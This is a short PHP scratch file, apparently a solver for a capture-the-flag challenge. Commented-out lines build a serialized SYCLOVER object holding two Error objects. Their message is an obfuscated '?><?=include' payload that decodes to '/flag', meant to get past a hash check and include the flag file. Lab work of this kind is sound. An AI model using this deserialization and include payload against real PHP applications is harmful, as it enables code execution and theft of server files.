<?php
echo md5('1');
//echo 1;
//print(1);
//$a="print(1);";
//$b[]="print(1);";
//print_r($b);
////eval($a);
//eval($b);
//$a[]="print(1)";
//eval($a);
//print(1);
//echo 1;
//
//error_reporting(0);
//
//class SYCLOVER
//{
//    public $syc;
//    public $lover;
//
//}
//
/*$str = "?><?=include~" . urldecode("%d0%99%93%9e%98") . "?>" . "<?";*/
//$a = new Error($str, 1);
//$b = new Error($str, 2);
//$c = new SYCLOVER();
//$c->syc = $a;
//$c->lover = $b;
//echo urlencode(serialize($c));
?>